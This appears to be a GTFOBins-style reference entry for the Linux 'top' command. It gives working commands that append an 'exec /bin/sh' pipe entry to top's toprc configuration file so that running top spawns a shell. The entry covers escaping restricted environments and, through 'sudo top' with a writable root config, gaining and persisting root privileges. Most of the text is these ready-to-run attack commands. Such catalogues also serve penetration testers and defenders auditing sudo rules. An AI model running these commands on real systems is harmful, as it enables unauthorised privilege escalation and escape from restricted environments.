This requires that an existing configuration file is present, to create one run top then type Wq. Note down the actual configuration file path and use it in the below examples.
It can be used to break out from restricted environments by spawning an interactive system shell.
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
top
# press return twice
resetIf the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
This requires that the root configuration file is writable and might be used to persist elevated privileges.
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>/root/.config/procps/toprc
sudo top
# press return twice
reset